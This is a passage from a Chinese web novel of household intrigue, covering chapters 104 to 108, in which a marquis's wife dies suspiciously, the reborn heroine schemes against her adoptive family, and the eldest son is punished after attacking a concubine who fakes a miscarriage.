明明是他将她逼死的,现如今倒装上了好人。
她闭上了眼睛,不愿与他再说一句话。
定远侯也不生气,只是温和地看着她:“夫人莫要担心,我已经派人去城外候着了。只要瞧见明远,便会让他快马加鞭赶回来见你。”
温如霜依旧没有吭声。
定远侯不再自讨没趣,回了自己的院子。
翌日,小年,晏明远赶在城门落锁前回到了定远侯府。
他刚一到家,就被弟弟身亡的消息给砸懵了。
他只不过去了一趟青州,怎么侯府里竟然发生了这样大的事情。
“明修是**的?”他痛苦地看向了定远侯。
定远侯提起丧命的次子,眼里闪过一丝恨意与厌恶。
“都是谢锦程那个王八羔子的错。”
他把事情原封不动地告诉了晏明远。
晏明远听完整个人怒火中烧、
他的弟弟先因谢锦程被戳瞎左眼,又遭受了那等禽兽不如、令人发指的折辱,最后落了个死无全尸、魂飞魄散的下场、
昭瑞亲王府简直欺人太甚。
“我要跟他们拼了。”他扭头就要出府。
定远侯急忙派人拦下他。
“站住,你莫要冲动。瘦死的骆驼比马大,如今谢锦程重伤而亡,昭瑞亲王也已经中风,咱们再找上门,也无济于事。”
说
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到这,定远侯叹了一口气。
“你还是先去探望探望你的母亲吧。”
晏明远的心一瞬间就悬了起来。
“母亲怎么了?”他急切地追问。
父亲这语气,听着母亲的情况似乎不太好。
他才失去了亲弟弟,现在连母亲也要保不住了吗?
定远侯装模作样地又叹了口气,把早就编好的瞎话往外倒:“唉,星儿当年竟是被你母亲拐带回家的,如今人家亲爹娘找上门来,她寝食难安,人都熬坏了……”
谎话说多了,他自己都要信了。
关万海夫妇,其实是他费心思挑出来的。
关家十多年前确实丢过一个女儿,但那是他们自己故意扔掉的。
就因为他们一门心思要生儿子。
听信了歪门邪道,只要把女儿弄死就能吓跑那些想投胎到他家的女娃娃,好让儿子赶紧来。
但他们到底只是一个普通人,不敢动手杀害亲生孩子,只得将孩子带到远远的地方给扔了。
再者,关万海乃是行商之人,年年都去青州那边,正好能圆上“当年在青州丢了孩子”这个谎。
正巧这些时日关家开的布行遇上**烦,眼看就要垮了。
他以此为诱饵,直接找上关万海。
“你们上侯府演场戏,冒充晏逐星的亲爹娘,状告温如霜当年拐带了你们的女儿。只要你们办成此事,本侯就出手,保你家生意起死回生!”
关万海夫妇立刻就答应了。
对他们来说,这笔交易稳赚不赔。
而且,日后名义上还能有一个侯府大小姐当女儿,他们也算有了倚仗。
晏明远听完他的话,如遭雷击。
“怎么会这样……”他声音干涩,几乎不成语调。
他和明修一直以为星儿是母亲心善,从外边捡回来的孤女。
正因为如此,当明月历尽艰辛终于回到侯府时,他们兄弟俩才会对星儿充满迁怒和怨怼。
他们觉得是星儿这个来历不明的孤女,偷占了本该属于明月十几年的尊贵身份和侯府宠爱。
所以这些年,他们理直气壮地冷落星儿,心安理得地偏袒明月。
他们一次次对星儿板着脸训诫,让她知足,告诉她能在侯府长大是天大的福气,警告她不要贪心,不要妄想不属于她的东西。
可现在,父亲告诉他星儿根本不是捡来的孤女。
她是被母亲恶意拐带回家的。
那他和明修这些年对星儿所有的冷落、苛责、那些自以为是的训诫算什么?
第104章 是我害死她
定远侯露出一副痛心疾首的表情,拍了拍他的肩膀:“去看看你母亲吧,她惦念你许久。”
“不了。”晏明远脱口而出的竟是拒绝。
定远侯有些惊讶,没想到他会这么说。
晏明远捂着头,痛苦不已。
他现在不知道该怎么面对母亲,更不知道该如何面对晏逐星。
他现在谁都不想见。
“父亲,孩儿千里迢迢赶路归家,如今疲惫不已,先行回屋休息了。”晏明远冲定远侯匆匆行了一礼,红着眼眶大步离开了。
定远侯没有阻拦他,扭头看向了一旁候着的芰荷。
“听到了吧,不是我不让他见你家夫人,是他不愿见。”
芰荷脸色有些发白。
夫人如今身子骨一日不如一日,大少爷不肯见她,恐怕身子会遭受不住打击。
她恍惚地回了院子。
瞧见她,温如霜急切地探头出来:“明远呢?不是说他回府了,么?”
“大少爷说赶路累了,先回屋休息了。”芰荷支支吾吾地回答。
“是不是晏鸿升出尔反尔不愿意让他见我了?”温如霜激动大吼,还岔了气,连连咳嗽好几声。
芰荷赶忙上前替她抚背,红着眼眶道:“侯爷并未阻拦大少爷前来。”
“我不信。”温如霜不相信自己疼爱的长子会不见自己。
“肯定是晏鸿升那王八蛋跟他说了什么,挑拨了我们母子的关系。”
“你命人将我抬到大少爷的院子去,我就不信,见不着明远了。”
芰荷只得听命。
温如霜来到了长子的院落,不曾想,却依旧见不到人。
“夫人,大少爷沐浴更衣结束,已经睡下了。”晏明远的小厮有些尴尬地开口。
温如霜着急道:“睡下了就把他叫醒啊!我可是他的亲生母亲,他都不愿见我吗?”
小厮只得应下,转头去叫晏明远。
不一会儿,他又出来了。
他忐忑地开口:“夫人,大少爷太累了,回来之后服了药入睡,如今……叫不醒……”
温如霜哪里还能不明白晏明远的意思。
他就是不想见她。
“哈哈哈哈哈。”想通了这一点,温如霜忍不住大笑了起来。
枉她为了他放弃侯府主母之位,放弃自己的性命,可他竟然连她最后一面也不愿意见。
真不愧是晏鸿升的好儿子啊。
父子俩流的血,都是一样的冷漠。
温如霜笑出了眼泪,而后淡淡道:“回吧。”
得知她要走,晏明远终于推开窗看向了她回院子的必经之路。
看着母亲离去的背影,晏明远痛苦地闭上了眼睛。
“娘,您让我冷静冷静,明日,孩儿再去见你。”
他喃喃自语。
却不知,今夜一别,便是永别。
他躺在床上翻来覆去地想着家中的事情,怎么也睡不着。
直到天空泛起了鱼肚白,他才稍稍有了睡意。
没过多久,便听到了小厮唤他起身用早膳。
晏明远想了想,决定亲自去请母亲用膳赔罪。
昨夜是他的不对。
洗漱更衣后,他亲自去大厨房取了早膳给母亲送去。
不曾想,都这个时辰了,母亲的卧房依旧紧闭。
他看向了芰荷:“母亲怎还未起身?”
“夫人说昨夜没休息好,想多睡会儿,让我们别打扰她。”芰荷恭恭敬敬地回答。
“既是如此,那我就在这等母亲醒来吧。”晏明远坐下,命人去书房拿了书,一边看书一边等温如霜醒。
不曾想,过了两个时辰,眼看都要到用午膳的时辰了,屋子里依旧静悄悄的,没有任何声音。
晏明远微微蹙眉,看向芰荷。
“你去瞧瞧,母亲怎的还不醒?”
芰荷应下。
不一会儿,晏明远就听到了卧房传来芰荷的尖叫声。
他手一松,书便落到了地上。
他顾不得捡起,快步赶了过去。
他一到,就瞧见芰荷瘫软在地,小脸煞白,哆嗦着指着床上。
晏明远的心猛地一沉,几步抢到床边。
只一眼,他浑身的血液都仿佛瞬间冻住了。
母亲静静地躺在床上,双眼紧闭,脸色是骇人的青灰。
暗黑粘稠的血迹正从她的双眼、双耳、鼻孔和嘴角缓缓流出,在她惨白如纸的脸上划出一道道长长的血痕。
“娘——!”晏明远踉跄着扑到床边,双腿发软,几乎要跪倒在地。
他想伸手去擦掉那些可怖的血痕,手指却抖得不成样子,悬在半空,迟迟不敢落下。
母亲**。
七窍流血而亡。
晏明远脑子嗡
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的一声,一片空白,整个人像是被定住了一般,没有动弹。
直到定远侯赶来,他才猛地惊醒。
“父亲!”
晏明远扑通跪倒在定远侯脚边,眼泪汹涌而出,哭得浑身发颤,
“是我害**母亲!都怪我!要是昨晚我没跟她赌气,肯来见她一面,她就不会想不开了。”
此刻他懊悔得恨不得杀了自己。
定远侯没理他,目光扫过床上温如霜的惨状,惊讶地看向枕边那封信:“这是什么?”
他像是刚发现,一把抓起信拆开。
飞快看完,定远侯立刻捶胸顿足,假哭起来:“如霜!你怎么这么傻啊!”
他手一松,遗书飘落在地。
晏明远慌忙爬过去,一把抓起信纸,眼睛急急扫过字迹。
每看一句话,他的脸就白上一分。
看到最后那句【唯愿吾儿明远此生平安顺遂,不因母过而蒙尘。】
母亲临死都在为他着想,他却连她最后一面都不肯见!
“我混账!我就是个畜生!”
他双眼猩红,彻底崩溃,抬手就狠狠朝自己脸上扇去。
耳光声啪啪作响,又快又狠,仿佛感觉不到疼一般。
定远侯这才过来拉他。
他哽咽着安慰道:“好孩子,与你无关,此事是你母亲自己想不开。”
“不,都是我的错,是我害**母亲,是我。”晏明远接受不了亲人接二连三离去,哭得撕心裂肺。
定远侯紧紧抱住了已经长大的儿子,哭得比他更大声。
“不,是我的错,是我没有照顾好她。”
收到温如霜身死消息的晏逐星也赶了过来。
于情于理,温如霜如今还是她名义上的母亲,她**,她必须来一趟。
只是没想到,一来就看到了父子俩抱头痛哭的滑稽模样。
她忍不住翘起了唇角。
“见过大小姐。”
下人们瞧见她,赶忙行礼。
晏逐星垂眸,收起笑意,再抬眼时,已经是一副茫然而悲伤的模样。
“父亲,大哥。”她软软地喊了一声。
两人这才松开了彼此,胡乱擦掉眼泪。
“星儿,你怎么来了。”定远侯率先开口。
一旁的晏明远退后一步,躲到了定远侯身后。
**该怎么面对晏逐星。
第105章 你离她远些
晏逐星红着眼眶道:“父亲,我想见一见关家……”
她话还没说完,原本躲在定远侯身后的晏明远便跳了出来。
“母亲刚走,你就要找你的亲生父母吗?”他有些接受不了晏逐星这样冷血无情。
母亲当初拐带她确实有错,可如今她人已经**,晏逐星也在侯府享了十多年大小姐的福。
难道这一切还不能抵消吗。
晏逐星委屈地看向定远侯:“我只是担心他们会去告御状。到时候,恐怕会有损侯府的声誉。我想着,他们既是我的亲生父母,或许我说的话他们会听,所以想着去劝一劝他们。”
晏明远一张脸顿时变动一会儿红一会儿白。
原来竟是他误解了星儿。
他张了张嘴想道歉,但又说不出话来。
定远侯欣慰地看着她,温声道:“此事为父自会与他们商谈,保管不会让你为难。你就放心吧。”
“是。”晏逐星点了点头。
“你回院子里歇着吧,莫要进来被吓到了。”定远侯下令让她离开。
晏逐星没有反对,乖乖地走了。
定远侯看着床上温如霜变得僵硬的尸身,立刻命人快马加鞭去青州报丧。
而后又命人去请了族中长老。
见晏明远还呆呆地站在原地,他几步跨到他面前,双手用力地按住了他的肩膀。
“明远,丧事自有为父坐镇主持,族中长老稍后便到,也会协理诸事。但你乃嫡长子,必须担起守灵、举哀、答谢吊客之责。莫要让悲痛击垮了你。”
晏明远惶惶然点头,如同提线木偶一般,定远侯让他做什么,他就去做什么。
很快,定远侯府上下便挂起了白幡。
李氏被放了出来,一见温如霜的遗体,登时晕厥过去。
她知道,夫人没了,她恐怕也活不久了。
芰荷红着眼眶将她唤醒,两人强忍悲痛,一同为温如霜整理遗容,换上寿衣。
府里的几位姨娘也被唤来。
唯有阮寄薇因身怀有孕,得了准许,留在自己院中。
晏逐星以思虑过度病倒了为由,也没有出现。
晏明远换好孝衣,在管家和小厮的陪同下出门报丧。
他整个人如同被抽走了魂,面色麻木,只是按照身旁人的提示,重复着下跪、叩首、报丧、起身、登车的流程。
不多时,定远侯夫人温如霜去世的消息便传遍了京城。
一时间,街头巷尾议论纷纷。
昨日才传出侯府大小姐晏逐星亲生父母寻上门的消息,今日主母温如霜便突然亡故。
变故接踵而至,总让人觉得背后有什么猫腻。
卫国公夫人窦淑容正刻薄地与妯娌裴府二夫人数落着晏逐星的身世。
“身上流的就是低贱商贾的血脉,在侯府的金玉堆里养十几年也是白费,麻雀就是麻雀,永远变不成凤凰。”
自打冰嬉宴上晏逐星被皇后叫走,让她当众难堪,窦淑容便许久未在宴会上露面了。
就怕被人提起那日的窘迫。
她恨毒了晏逐星。
又听闻腊八那日,晏逐星装模作样去城外施粥,她儿子竟巴巴跟了去,还因为晏逐星给了她派去的小厮两巴掌,而后又将人撵了回来。
如今一提到晏逐星,窦淑容就恨得牙痒痒。
裴二夫人不敢多说什么,毕竟她的女儿跟晏逐星似乎关系还不错。
如今晏逐星得了皇后的青眼,又被烈国公夫人认作了义女,她也不好多说人家坏话,因而只是尴尬地点了点头。
“定远侯真是瞎了眼,一个养女有什么好宠着的。还有温如霜也是个没用的东西,竟然让一个养女骑到头上来。”窦淑容又将怨气对准了定远侯夫妇。
裴二夫人搅着帕子,讪讪地笑,依旧没有吭声。
这时,下人匆忙跑进来禀报:“夫人,二夫人,定远侯夫人……殁了!”
窦淑容与裴二夫人听到这话,脸色同时变了。
她们方才还在数落定远侯府的不是,转眼主母温如霜就**,这也未免太过凑巧。
按礼数,定远侯夫人亡故,她们自该备礼前去吊唁。
但窦淑容连这面上的功夫都懒得做。
她嘴角撇了撇,声音里带着毫不掩饰的嫌恶:“年关就在眼前,正是喜庆的时候,谁耐烦去奔那晦气的丧?平白沾一身晦气,触了年节的霉头。不去
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!”
下人退去后,她忍不住又和裴二夫人抱怨:“定远侯府今年都死几个人了。”
“先是女儿没了清白探亲路上病逝了,后来又是儿子没了,现在连温如霜这个主母都**。”
“我看啊,那个晏逐星就是灾星。迟早要把定远侯和他那长子给克死。”
“咱们还是离定远侯府远些的好,省得沾染了晦气。”
裴二夫人原本没想到这些,但听大嫂这么一说,心里也打起了鼓。
是啊,定远侯府这些日子实在是太倒霉了。
接二连三没了好几条人命。
她回到自己院子后,将女儿裴芜找来。
“阿芜,你还是离定远侯府那位大小姐远些吧。”她将窦淑容的话告诉了女儿。
裴芜皱起了眉头,忍不住反驳道:“可我瞧着烈国公夫人和她关系也挺亲近的,他们不也没事么。”
“烈国公夫妇都去过战场,自有煞气护体。与咱们不同。”裴二夫人强行辩解。
裴芜还是觉得那都是大伯母的偏见,噘着嘴道:“那远的不说,大表哥不也因为星儿查出了谢锦程的案子,得了皇上的褒奖。由此可见,也不是每个跟星儿沾上关系的人都没好下场呀。”
裴二夫人说不过女儿,轻轻拧了她一下。
“可别在你大伯母面前这么说,省得她迁怒你。”
“我知道的。”裴芜乖巧点头。
她又不傻,大伯母最讨厌星儿了,她去她面前说这些话,她不想活啦。
京城里,与窦淑容存着同样心思的人不在少数。
众人都觉得定远侯府近来邪门晦气,因此温如霜的丧事,几乎无人愿意亲临吊唁。
至多只遣家中管事送去一份奠仪。
灵堂内外,一片冷清凄寂。
消息自然也传到了谢翊宁耳中。
昨日得知晏逐星亲生父母寻上门,他第一时间便遣停云前往通州查探。
通州距京城快马不过一个多时辰,是以温如霜死讯刚传开,昨日出发的停云便已返回京城复命。
“王爷,属下已查实。”
谢翊宁抬眸,眸色微沉:“那二人,当真是晏大小姐的亲生父母?”
第106章 杀了晏明远
“属下多方走访打听,确认了关家十一年前确实丢过一个女儿。”
“定远侯夫人捡到大小姐的日子和时间都对上了。”
“据说那个镯子和大小姐当时走失时戴手上的也一样。”
停云将打听来的消息一一汇报。
谢翊宁皱起了眉头。
这么多巧合,那就不是巧合了。
恐怕是有心之人在背后故意操纵这一切。
“盯着他们,继续查。”谢翊宁吩咐下去。
“是。”停云应了下来。
“惊鸿那边如何了?可有消息传回来?”谢翊宁又问。
停云摇了摇头:“您要的消息还在查探,估计年前是回不来了。”
“我知道了,你退下吧。”谢翊宁微微颔首。
他将疆域舆图翻找出来,盯着上边几个国家的名字,陷入了思索。
大虞周边几个国家,琉光、西戎、北境、南穹,一直都对地大物博的大虞虎视眈眈。
其中北境全民皆兵,擅长骑射,是最难啃的硬骨头。
他们居住在草原上,夏日水草丰沛,他们就牧羊牧牛,但冬季严寒,他们粮食压根不够吃,因此便不停地骚扰大虞边境,抢夺粮食壮大自己的部落。
这是几十年来的老传统了。
然而一年后,他们将不再满足于这些小打小闹,会大规模进攻大虞。
上一世,北境的实力忽然比往常增强了许多,导致霍将军与他们对战时接连败退。原本只需要打几个月的仗,硬生生拖了两年。
他怀疑琉光和西戎或许在暗中支持了北境。
因而这一世,他确认自己重生后,就将自己的几个心腹派了出去。
停云留在身边,照夜去查南阳堤坝官员贪墨一案,惊鸿去了琉光,寒阙则去了西戎。
琉光多矿脉,不仅盛产各样的宝石,还拥有着能打造出坚韧锋利兵器的矿石。
惊鸿此去,便是要查明琉光与北境是否暗中勾结。
必要之时或可釜底抽薪,断了琉光与北境的合作。
而西戎位于黄沙大漠之中,盛产香料与美酒,是周边最富饶的国度。
他们酿出的酒,色泽如琥珀,开坛时香气能醉倒整屋的人,一口下去让人回味无穷。
因而坊间流传着一句话:一壶西戎酒,万两雪花银。
他们的一坛葡萄酒,在大虞能抵千金。
他们这般富有,自然引起过周遭的觊觎。
然而他们的王城坐落于沙漠之中,踪迹难寻。
西征过的那些铁骑,都迷失在了大漠之中,只留下了一堆枯骨。
因而,再也没人敢打他们的主意。
西戎人口虽少,但他们的王,野心却不小。
所以他们很可能会暗中与北境勾结,提供北境需要的金银,让他们去采买武器和粮食来对付大虞。
不得不防。
因而他便让寒阙扮做商人,去了西戎。
至于南穹,河网密布,丛林叠嶂,瘴疠横行,毒虫遍地,是周遭几个国家最神秘的地方。
他们其行事诡谲,据说擅长用蛊,与中原少有往来,深浅难测。
他不打算去试探他们,若是打草惊蛇,反倒不妙。
只盼半年后,解决了南阳水患与许州大旱,惊鸿和寒阙能给他带回惊喜。
*
温如霜死讯传遍了京城。
在客栈呆着的关家夫妇自然也听到了风声。
两人心里都有些惶惶不安。
他们那日不过做戏说要去状告温如霜,温如霜怎么就**?
“夫君,你说,这事会不会查到我们头上?”杨氏慌张不已。
“说什么胡话,此事与我们何干。是她自己作孽多端。”关万海握紧了妻子的手。
语气一句比一句重,像是安慰妻子,也像安慰自己。
“咱们答应侯爷的事情办好了,他也该替咱们解决那桩麻烦了。”
“对对对。”杨氏连连点头。
原本他们家生意做得好好的,谁曾想,被人做局阴了,送给通州知州夫人的布匹竟然生了虫子,让夫人身上起了红疹子。
知州夫人不依不饶,非要让他们赔个倾家荡产。
他们在通州的生意彻底黄了。
这可是他们赖以生存的生意,就这么没了,他们哪里甘心。
因而定远侯说让他们假冒晏逐星亲爹娘,就帮他们与知州大人和谈,他们便毫不犹豫地答应了下来。
“等明日吧,明日咱们去找侯爷。”关万海下定了决心。
还有几天就过年了,他们得早点把这事解决了,不然恐怕这个年也没法过了。
“好。”杨氏决定一切都听夫君的。
翌日,他们去找了定远侯。
定远侯懒得费心自己去处理这事,略一思忖,开口道:“你领着星儿回通州过年吧。你们多年未见,是该一家好好团聚了。”
“届时我会让管家护送星儿过去,再
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给林知州送一份年礼,他们便不会再为难你们了。”
温如霜之死,温家定会来人。
当初星儿就与温家人不对付,若她留在侯府,反倒会惹来冲突。
倒不如,将她送去通州,过完年等温家人离开了,再将她接回来。
“多谢侯爷大恩大德。”有了他这句话,关万海夫妇放心了。
既然要迎接晏逐星去过年,他们就得先赶紧回关家去把宅院好好打扫整理一下,省得这位大小姐住不习惯。
晏逐星得知要去通州关家过年,倒也来了兴趣。
在侯府她还不好光明正大喝酒吃肉庆贺,去通州倒是个不错的选择。
正好可以看看,定远侯究竟是因为什么拿捏了这对夫妇,让他们来演这一出戏。
最重要的是,这是个好机会。
或许可以借机杀了晏明远。
她人不在京城,晏明远**,就怀疑不到她头上了。
没准她可以比计划更早一点接手定远侯府。
“是,星儿一切都听父亲安排。”她在定远侯面前表现得十分温顺,像一只人畜无害的兔子。
因此定远侯从未想过,家中这些不幸的事情与她有关。
“去吧,这几年,是我们对不住你。”定远侯轻轻拍了拍她的肩膀,叹了一口气。
“星儿从未怨过父亲。”晏逐星赶忙摇头。
定远侯满意地点了点头,让她离开了。
决定了要回通州过年,晏逐星便命人整理行李。
她将衔蝉和九栀留下,只打算带双鲤去关家。
一来衔蝉细心,适合看管那些皇后赏赐的东西;二来过年时,她也可以抽空回王府与相熟的人一块庆贺庆贺。
至于九栀,她会武功,接下来的计划,需要她的帮助。
晏逐星在屋子里反复推算了几遍自己的计划,她决定赌一把。
临行前,她忙碌了起来。
她先让九栀给阮姨娘送了信,让她配合她演好这出戏。
随后又派人给烈国公府还有永安王府送去了年礼,顺便告知了他们,她即将要去通州过**情。
如今定远侯府正值丧期,温如霜虽非她生母,终究是名义上的母亲。
她不便此时登门拜访,免得冲撞了年节喜气,惹来口舌是非议论。
安排好一切事务后,她在大年二十九这日清晨,便准备离开京城去往通州。
出发前,晏明远拦住了她的马车。
第107章 她不是我娘
晏逐星盯着他,松了一口气。
她还真怕他不来找她呢。
“星儿。”晏明远的声音带着一丝沙哑。
他形销骨立,面色灰败,眉宇间刻着与年龄极不相称的疲惫与沧桑,乍一看去,竟像是凭空老了十多岁。
“什么事?”晏逐星内心毫无波动。
在她重生回来的那一刻,她和晏家所有人就恩断义绝了。
不管晏家人落得什么下场,有多可怜,她都不会同情他们。
同情他们,就是对不起过去受苦的自己。
“你就这么迫不及待地想要离开侯府吗?”晏明远对父亲的决定十分不解。
母亲尸骨尚未入土,棺椁犹在堂前,父亲竟就要让星儿去她的亲生父母家过年。
这无异于当众扇了母亲一记耳光,将她最后一点体面也碾得粉碎。
“我与大哥有事要说,你们先退下。”晏逐星扫了一眼身旁的管家和护卫。
他们当即听命退到了十步开外。
确认他们都听不到后,晏逐星冷笑了一声:“你觉得我留下来,温如霜会高兴吗?”
“你竟然直呼母亲名讳?”晏明远不可置信地看着她。
他的声音因极度的震惊和愤怒而带了一丝颤抖。
在他心中,母亲纵有千般不是,也终究是他的亲生母亲。
“那是你娘,也是晏明修和晏明月的娘,但她从来都不是我娘。”晏逐星的语气十分冷漠。
“她**,我没有拍手称快你都该夸我一句善良。还想让我给她守孝,晏明远,你在做什么**梦。”
当初对晏明远不过是利用罢了,如今继续跟他演兄妹情深的戏码,她会恶心。
晏明远如遭雷击。
他像是第一次认清了眼前的少女。
她的眼神里都是冰冷的憎恶,没有半分委屈与留恋。
那个一直跟在他身后喊着“大哥”的小姑娘,或许早就不在了。
“你、你……”晏明远被气得脸上浮起了一丝红晕,他一时间竟不知道该怎么反驳。
“我什么我。我要是你,这个时候就该去定远侯身边好好尽孝。你真以为你这侯府世子之位高枕无忧吗。”晏逐星嗤笑一声,面露鄙夷。
“阮姨娘肚里怀的可是儿子。”
“那又如何,不过是个庶子罢了。”晏明远下意识地反驳。
“记到嫡母名下不就是行了。”晏逐星挑眉看向他。
“我不同意!舅舅也不会同意!”晏明远急了。
“你们同不同意有什么用,谁说侯府夫人只能是温如霜呢。”晏逐星唇边露出一抹意味深长的笑。
她上前凑到晏明远身边,压低声音道:“你以为温如霜为什么这个时候**,自然是因为你的好父亲已经找好新的当家主母了呀。”
晏明远登时变了脸色,脱口而出:“你胡说。”
“我有没有胡说,你很快就会知道了。”晏逐星淡定的样子让晏明远不自觉地相信了她的话。
但他还是嘴硬。
“你就不怕我把这事告诉父亲吗?”
“你说呗。你有什么证据吗?”晏逐星无所谓地耸了耸肩。
“晏明修可是他亲自送去昭瑞亲王府的。如果不是他把人送过去,晏明修又怎会被谢锦程羞辱**?”
晏逐星光明正大地挑拨他们父子俩的关系。
“侯府已经和温家有了嫌隙,你若不懂事,他倒不如专心教养他的小儿子。反正他还不到四十,以后的日子还长着呢。”
“你最好孝顺一点,否则,你这侯府世子之位,可就不保了。”
晏逐星说完这些扎心的话,不再看他一眼,径直转身上了马车,命车夫即刻离京。
晏明远像是被钉在了原地。
脸上的血色瞬间褪得干干净净,比灵堂里悬挂的白幡还要惨淡。
晏逐星每一句话,都狠狠扎进他毫无防备的心脏。
“你以为温如霜为什么这个时候**……”
“你的好父亲已经找好新的当家主母了……”
“晏明修可是他亲自送去昭瑞亲王府的……”
“你这侯府
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世子之位,可就不保了……”
这些冰冷的话语在他脑海中疯狂盘旋、碰撞,搅得他天旋地转。
他想厉声反驳,想斥责她恶毒挑拨,想冲上去拦住马车问个清楚。可双脚却像灌了铅,动弹不得。
他僵硬地站在原地,目送着晏逐星马车消失在街角后,他才缓缓转回身子。
抬头看着“定远侯府”的牌匾,一股寒意窜上心头。
是啊,母亲向来掐尖要强。
怎么会说自尽就自尽,还在遗书里写下那样故作大度的话。
他很想现在就冲进去找父亲质问,但他却没有勇气。
他恍惚地去了灵堂,跪在了母亲的棺椁前。
“母亲,她说的都是假的对不对。”
“父亲明明说了,侯府未来的主人是我,她是故意挑拨我和父亲关系的,对不对?”
他喃喃自语,心乱如麻。
他今日只用了早膳,又被晏逐星那番话刺激到了,跪到下午竟直接晕了过去。
“大少爷……”
恍惚间,他只听到了小厮的焦急的声音。
晏明远再次醒来后,已经是月亮升起之时。
他发现自己已经被抬回了寝屋。
他往外探了一眼,将心腹小厮叫来,忍不住询问:“我晕倒的时候,父亲可曾来过?”
小厮有些尴尬地开口:“不曾。”
“你们没告诉父亲我晕了?”晏明远有些着急。
小厮赶忙辩解:“说了。但阮姨娘说腹痛,侯爷就一直陪在她身边了。”
说完他偷偷打量着晏明远的脸色,发现他神色果然变了,心里顿时有些后悔。
糟了,他嘴怎么那么快。
少爷听完肯定伤心**。
晏明远怔怔地看着窗户发呆。
如今阮姨娘腹中的孩子尚未出世,父亲竟然就已经偏心到这种地步了么,连他晕倒了也不愿意来看一眼?
晏明远心里像是有一团火在烧,几乎要将他整个人炙烤殆尽。
他恍恍惚惚地起身,往阮寄薇的院子里走去。
第108章 闯下大祸了
“少爷,您这是要去哪儿啊?”小厮气喘吁吁地追上来。
晏明远却充耳不闻,如同行尸走肉一般,只提着一口气往前走。
他要去找父亲,当面问个清楚。
在父亲心里,到底是阮寄薇肚子里那块未成形的肉重要,还是他这个嫡长子,名正言顺的世子更重要?
小厮见他眼神涣散,整个人透着一股恐惧的决绝,吓得大气都不敢出,更不敢高声喊人,只得小心翼翼地跟在他身侧。
主仆二人刚走到阮寄薇院落附近,还没靠近院门,就清晰听到了一个丫鬟发出的谄媚声:
“哎哟,我的好姨娘,这天寒地冻的,您怎么大清早就在这院子里走来走去的呀?仔细冻着了!”
晏明远瞬间停住脚步,隐在院门前几株落尽枯叶的老树阴影里,直直地盯着正在散步的阮寄薇。
只见阮寄薇披着一件华贵的狐裘,一手搭在身边丫鬟的腕子上,另一只手则小心翼翼地抚着自己尚未隆起的小腹。
晏明远盯着那件狐裘,眼里几乎要喷出怒火。
那分明是母亲今年冬天请九章堂赶制的新衣。
后来她坠马车出了事,便不愿再穿华服,因而这些新衣裳送来时,还没穿过就全都塞到箱笼里。
可如今,父亲竟将衣裳给了这贱妾!
“你懂什么?”阮寄薇的声音带着刻意显摆的得意。
“大夫可是千叮咛万嘱咐,要我多多走动,到时候才好把这宝贝疙瘩平平安安地生下来。”
“这孩子呀,可是侯爷心尖尖上的肉,绝不能出半分岔子。侯爷亲口允诺我来,待他落地,便记在新主母名下,让他成为定远侯府名正言顺的嫡子。”
“日后呀,这偌大的侯府,可都是我儿的囊中之物!”
她的声音清晰可闻地传到了晏明远耳朵里,如同一道惊雷在他的脑海里轰然炸开。
晏明远最后一丝侥幸被彻底粉碎。
原来晏逐星说的每一个字,都是真的。
父亲竟然真的要把他的一切,拱手送给一个卑贱妾室所出的庶子?
他脑中那根名为理智的弦,在这一刻彻底崩断。
他猛地从树影里冲出,直直扑向阮寄薇。
“贱妇,你**吧!”
他目眦欲裂,伸出手狠狠推向阮寄薇的小腹。
“少爷不可!”
小厮魂飞魄散的惊呼声炸响。
“姨娘!”其他丫鬟也跟着惊叫起来。
好在搀扶着阮寄薇的贴身丫鬟早有防备。
在晏明远冲过来的瞬间,她猛地将阮寄薇往自己怀里一拽,抱着她向侧旁扑倒,用自己的身体垫在下方,硬生生替阮寄薇承受了所有冲击。
阮寄薇蜷缩起身体,双手死死捂住肚子,将提前藏好的血袋捏爆,鲜红的液体缓缓从腿间流出。
她艰难又绝望地惨叫出声:“孩子……快救救我的孩子……”
院里其他的丫鬟慌乱地跑了过来,四处大叫。
“请大夫,快请大夫!”
“姨娘你撑住啊!”
晏明远被他们的声音吵得回过神来。
他看着面无血色的阮寄薇,还有她裙摆底下微微渗出的血迹。
滔**火如同被一盆冰水兜头浇下,瞬间熄灭,只剩下刺骨的冰冷和一片空白的茫然。
他的脑海里只剩下一个念头:
完了,闯下大祸了。
他慌不择路地从阮寄薇的院子里跑走,一路上因为太过慌张,还摔了好几回。
他连滚带爬地回了自己的寝屋。
回到熟悉的环境,他才渐渐冷静下来。
有什么可怕的。
他可是侯府的嫡长子,横竖不过是推了一个姨娘,若是那个孽子没了最好,父亲只能有他一个儿子了。
到时候等舅舅入京,他要联合舅舅让父亲早日拟好请封世子的奏折。
难不成父亲还真的能为了一个姨娘对他发难?
想通了这一切,晏明远长长地舒了一口气。
还没等他喘完这口气,房门就被“砰”一声重重踹开。
定远侯脸色铁青地踹门而入,抬手就给了他一巴掌。
“逆子,你就这么容不得一个尚未出世的孩子?”
“我尚在,你就敢下此毒手。他日我若老了病了,你是不是连亲爹也要除之而后快?!”
晏明远捂着脸,刚想辩解:“父亲,我……”
“闭嘴。”定远侯根本不听,厉声朝外吼道:“来人!拖出去,请家法,三十藤条,给我狠狠地打!”
两个下人架起还在发懵的晏明远就往外拖。
晏明远听到“三十藤条”不可置信地看向了定远侯。
父亲不由分说打了他一耳光就算了,如今竟然还不给他半分体面,让他一个嫡长子在院中受家法?
“父亲,你不能这么对我!”晏明远剧烈挣扎了起来,“过几日舅舅就要到了,母亲刚刚去世,你就这样对我,你不怕舅舅他们寒心吗?”
他这个时候提起温家人,无异于火上浇油。
定远侯更愤怒了。
“笑话!你是我晏鸿升的儿子。残害手足,家法伺候,天经地义。你舅舅来了,也得认这个理!”
“你该庆幸大夫来得够快,保住了阮姨娘肚子里的孩子,不然现在就不是三十藤条这么简单了。”
说完不再留情,直接让下人开打。
院子里,沉重的藤条破空声和晏明远凄厉的惨叫立刻响了起来。
一下,又一下。
定远侯背对着门口,负手而立,听着晏明远凄惨的哀嚎,脸上只有冰冷的怒意,毫无动容。
三十下打完,哀嚎声变成了微弱的呻吟。
晏明远像条死狗一样趴在冰冷的石板上,后背衣衫被打得破破烂烂,印出了刺目的血痕。
看着他这副惨状,定远侯心头的怒火泄了大半。
到底是嫡亲的儿子。
方才他也是被阮寄薇那副惨白的样子惊着了。
毕竟他们正处如胶似漆之时,若阮寄薇真没了,他也舍不得。
更何况,侯府子嗣单薄,这孩子要是保不住,他膝下可就只剩晏明远一个了。
日后难免要受温家的胁迫,更是麻烦。
此刻看着血肉模糊的儿子,定远侯觉得自己先前似乎有些太过严苛了。
